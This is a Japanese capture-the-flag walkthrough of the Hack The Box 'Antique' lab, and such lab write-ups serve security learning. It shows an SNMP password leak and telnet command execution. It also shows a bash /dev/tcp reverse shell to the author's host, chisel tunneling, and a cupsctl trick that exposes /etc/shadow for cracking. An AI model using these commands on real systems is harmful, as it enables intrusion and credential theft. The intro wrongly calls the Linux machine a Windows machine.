Hack The BoxのAntiqueのLinux記事となります。
難易度3.2のWindowsマシンを攻略する過程を読んでみてください。
前回の攻略
今回のマシン情報
OS Linux
難易度 Easy 3.2
リリース日 2021/9/27
HPで以前発売されていたプリンターサーバのJetDirectというのがこのマシンです。
ポート探索
Nmap ⇒ telnet
Nmapの結果Openしているのはtelnetのみでした。
「JetDirect」という文字が2回出てきてます。調べるとHPのプリンターサーバのようで、今回のマシンのようです。
$ nmap -A -v -p- --min-rate 5000 10.10.11.107 -oN nmap_result.txt -Pn
PORT STATE SERVICE VERSION
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270:
| JetDirect
| Password:
| NULL:
|_ JetDirect
Nmap(UDP) ⇒ snmp
TCPのスキャンで攻略のとっかかりがなかったのでUDPでスキャンをしたところsnmpがOpenしています。
SNMPv1 server (public)となっており、publicで情報を取得できそうです。
$ sudo nmap -sU --top-ports 10 -sV 10.10.11.107
PORT STATE SERVICE VERSION
53/udp closed domain
67/udp closed dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp open snmp SNMPv1 server (public)
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
161ポート探索
snmpwalk(全体) ⇒ 情報なし
$ snmpwalk -v 2c -c public 10.10.11.107
iso.3.6.1.2.1 = STRING: "HTB Printer"
通常上記のOIDはmibツリー全体を指すOIDであり、具体的な何かの情報ではないのですが、エンタープライズ製品ということでセキュリティ面から公開していないようです。

snmpwalk(private) ⇒ CVE-2002-1048
MIBツリーのprivate側(.1.3.6.1.4)を調べてみたところ1つ表示されました。
$ snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
「.1.3.6.1.4.1.11.2.3.9.1.1.13.0」を調べたところExploitDBでパスワード漏洩の脆弱性のことであることがわかりました。
【ExploitDB】HP JetDirect Printer – SNMP JetAdmin Device Password Disclosure

16進数でエンコード(hex-encoded)されたパスワードが表示されているようです。


【NVD】CVE-2002-1048

Cyber Chefでパスワード解析
CyberChefで16進数を解析していきたいと思います。
取得できたパスワード。
P@ssw0rd@123!!123 "#%&'01345789BCIPQTWXaetuy

【Cyber Chef】今回は左側のメニューから「Data Format」-「From Hex」を選択して16進数を解析します。
Exploit
telnet
パスワードは文字化け前の「P@ssw0rd@123!!123」を入力するとログインできました。
$ telnet 10.10.11.107
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.
HP JetDirect
Password: P@ssw0rd@123!!123
Please type "?" for HELP
> ls
Err updating configuration
lsを打てなかったので、まずはHELPを見たいと思います。
> ?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
user.txt
> exec ls
telnet.py
user.txt
> exec cat user.txt
シェルの切り替え
毎回execをつけるのはやりづらいので、ReverseShellをしたいと思います。
(ローカル側の端末でListen)
$ nc -lnvp 44444
listening on [any] 44444 ...
(JetDirect側の端末からbash接続)
> exec bash -c 'bash -i >& /dev/tcp/10.10.16.3/44444 0>&1'
(ローカル側の端末)
$ nc -lnvp 44444
listening on [any] 44444 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.107] 48388
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
lp@antique:~$ id
id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
lp@antique:~$
Privilege Escalation
いつもやっている、sudo -lやfind / -permから権限昇格につながるような情報はありませんでしたが、netstatで手がかりがありました。
netstat
lp@antique:~$ netstat -tnlp
netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 1036/python3
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
このコマンドでやっていること
netstat
: ネットワーク接続、ルーティングテーブル、インターフェースの統計情報などを表示するコマンド-t
: TCP(Transmission Control Protocol)の接続のみを表示-n
: アドレスとポートを数値で表示(名前解決をしない)-l
: リスニングしている(待ち受けている)ポートのみ表示-p
: 該当するプロセス(PIDとプロセス名)を表示何が分かるのか?
このコマンドを実行すると、現在リスニング状態のTCPポートと、それを使用しているプロセスを一覧表示できます。
CUPSとは
CUPS(Common Unix Printing System)とは?
CUPS(カップス)は、Linux や macOS で使われるプリント管理システム です。
Unix 系 OS の標準的な印刷システムとして広く採用されており、プリンターの追加・管理・印刷ジョブの処理を担当します。
開発元: Apple(2007年に買収)
使用目的: ネットワークプリンタやローカルプリンタの管理
管理ツール: lpadmin, lpstat, cupsctl, lpr など
管理画面(Web UI): http://localhost:631/admin
Chiselでトネリング
CUPSの管理画面を開きたいですが、Antiqueからしか接続できません。
そのためChiselというトネリングツールを使うことでこちらからAntiqueのポートAにつなぎ、ポートAから自分自身(Antique)のCUPS(631)につなぎにいくということをすることで私のPCから管理画面を見れるようになります。
Chiselをwget
$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzipで解凍
$ gunzip chisel_1.7.7_linux_amd64.gz
Antiqueからwget
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
lp@antique:~$ wget 10.10.16.3/chisel_1.7.7_linux_amd64
Chiselを起動(私のPC)
$ chmod +x chisel_1.7.7_linux_amd64
$ ./chisel_1.7.7_linux_amd64 server -p 9000 --reverse
2025/03/10 02:16:11 server: Reverse tunnelling enabled
2025/03/10 02:16:11 server: Fingerprint oHFqXMaic9DAxdWQ43NcS8lYTG7aMQjjzTI5g/ZNqGY=
2025/03/10 02:16:11 server: Listening on http://0.0.0.0:9000
Chiselを起動(Antique)
lp@antique:~$ chmod +x chisel_1.7.7_linux_amd64
lp@antique:~$ ./chisel_1.7.7_linux_amd64 client 10.10.16.3:9000 R:8888:127.0.0.1:631
<_amd64 client 10.10.16.3:9000 R:8888:127.0.0.1:631
2025/03/09 17:18:53 client: Connecting to ws://10.10.16.3:9000
2025/03/09 17:18:57 client: Connected (Latency 206.22005ms)
Antique側も起動すると先程私のPCで起動したchiselとも繋がりました。
これで私のPCで「127.0.0.1:8888」でアクセスするとAntiqueに転送され「Antique自身から631」にアクセスしているように動きます。
2025/03/10 02:18:55 server: session#1: tun: proxy#R:8888=>631: Listening
CUPSへアクセス

cupsctl
lp@antique:~$ cupsctl ErrorLog=/etc/shadow
lp@antique:~$ cat /etc/cups/cupsd.conf
(省略)
</Limit>
<Limit All>
Order deny,allow
</Limit>
</Policy>
ErrorLog /etc/shadow
管理画面からエラーログを表示します。

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt --fork=8 hash.txt
他のマシン情報
他の難易度3のマシンの攻略記事もまとめてますので良かったらご覧ください。